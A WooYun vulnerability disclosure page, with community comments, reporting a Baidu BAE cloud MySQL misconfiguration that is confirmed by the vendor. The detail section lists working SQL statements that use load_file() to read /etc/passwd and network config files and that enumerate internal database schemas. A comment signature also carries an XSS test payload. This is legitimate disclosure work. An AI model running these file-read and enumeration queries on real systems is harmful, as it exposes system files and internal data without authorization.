当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020693

漏洞标题:百度BAE系列1:数据库信息泄漏、任意文件读取

相关厂商:百度

漏洞作者: blue

提交时间:2013-03-26 12:33

修复时间:2013-05-10 12:33

公开时间:2013-05-10 12:33

漏洞类型:应用配置错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-26: 细节已通知厂商并且等待厂商处理中
2013-03-26: 厂商已经确认,细节仅向厂商公开
2013-04-05: 细节向核心白帽子及相关领域专家公开
2013-04-15: 细节向普通白帽子公开
2013-04-25: 细节向实习白帽子公开
2013-05-10: 细节向公众公开

简要描述:

通过一定方式可读取数据库相关内容,查看服务器文件等。

详细说明:

MySQL(云数据库) phpMyAdmin管理时,insert into 表 select load_file('/etc/passwd')等可读取本地文件内容,也可查询information_schema库内容。目测是读和写操作使用了不同的数据库账号。

/* 以下结果是不同的 */
select user();
insert into tmp(data) select user();


/* 一些可执行的操作 */
//文件读取
insert into test(data) select load_file('/etc/passwd');
insert into test(data) select load_file('/etc/issue');
insert into test(data) select load_file('/etc/sysconfig/network-scripts/ifcfg-eth0');
//数据结构读取
insert into test(data) select load_file('/etc/sysconfig/network-scripts/ifcfg-eth1');
insert into test(data) select SCHEMA_NAME from information_schema.SCHEMATA limit 10;
insert into test(data) select concat('databases:',COUNT(*)) from information_schema.SCHEMATA;
insert into test(data) select concat('ibase_bae_code tables:',group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA='ibase_bae_code';
insert into test(data) select concat('ibase_bae_code.apps columns:',group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA='ibase_bae_code' AND TABLE_NAME='apps';
insert into test(data) select concat('ibase_bae_code tables:',group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA='ibase_bae_code';
insert into test(data) select concat('ns_bae_yun_pma tables:',group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA='ns_bae_yun_pma';
insert into test(data) select concat('ns_bae_yun_pma.pma_session columns:',group_concat(COLUMN_NAME)) from information_schema.COLUMNS where TABLE_SCHEMA='ns_bae_yun_pma' AND TABLE_NAME='pma_session';

漏洞证明:

1.png

修复方案:

控制文件和数据库操作权限,修复时注意通过平台上的数据导入也是可以执行的。

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-03-26 16:20

厂商回复:

感谢提交,处理中...

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-26 12:34 | erevus ( 普通白帽子 | Rank:177 漏洞数:30 | Hacked by @ringzero 我錯了)

    有系列看了

  2. 2013-03-26 12:43 | 苏南同学 ( 实习白帽子 | Rank:41 漏洞数:5 | 苏南同学,就是苏南同学~~~)

    连载吗?

  3. 2013-03-26 12:52 | 姿势不行 ( 路人 | Rank:22 漏洞数:7 | 我是爱卖萌的小阿狸呀http://www.qinqinyo....)

    坐等更新

  4. 2013-03-26 13:04 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    我决定要去连载个sql系列。~

  5. 2013-03-26 15:49 | dtc ( 路人 | Rank:10 漏洞数:1 | 业余技术爱好者,来乌云学习。)

    坐等

  6. 2013-03-26 17:07 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    期待下连载

  7. 2013-03-26 17:09 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    大牛连载,必关注

  8. 2013-03-27 09:42 | Defa ( 普通白帽子 | Rank:113 漏洞数:13 | <img src=1 onerror=alert(1)>)

    大牛连载,必定精彩

  9. 2013-04-26 17:12 | 八折 ( 实习白帽子 | Rank:40 漏洞数:12 | 我的作用不大,只能让你的坏心情打八折——...)

    关注之

  10. 2013-08-06 17:15 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    好!